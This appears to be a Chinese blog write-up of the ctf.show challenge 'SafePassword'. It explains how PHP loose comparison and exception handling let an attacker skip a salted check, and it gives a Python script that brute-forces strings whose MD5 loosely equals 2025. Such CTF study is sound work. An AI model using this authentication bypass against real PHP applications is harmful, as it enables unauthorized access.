ctf.show-CTF部分-SafePassword

这道题目考的是弱比较和PHP的异常处理

  1. image
    其中前者的值是完全可控的, 但是第二个值不是:
    image
    会发现我们不知道变量$secret_salt的值, 所以解法就是不进入IF分支语句
    $channelKey的值长度大于64的时候, 进入ELSE分支语句, 经过层层throw, catch, 最后$channelKey的值会变为2025
    最后, 我们只需要构造一个MD5值能够弱等于2025的$accessKey值就行了,下面是爆破脚本
import hashlib,random,string

def get_md5(target="2025"):
    while True:
        tmp = "".join(random.choices(string.ascii_letters+string.digits,k=20))
        #从字母数字组成的集合中随机挑选出20为字符
        tmp_md5 = hashlib.md5( tmp.encode() ).hexdigest()
        #把随机字符转为字节, 然后计算MD5值,最后返回16进制的格式
        if tmp_md5.startswith(target) and tmp_md5[ len(target) ] in "abcdef":
            #如果哈希值的开头是2025并且2025的后面一位字符是字母的话, 那就说明找到了
            print(f"[+]{tmp};{tmp_md5}")
            print("-----------------------------")


get_md5()

posted on 2026-01-04 10:46  misaki%20mei  阅读(4)  评论(0)    收藏  举报

导航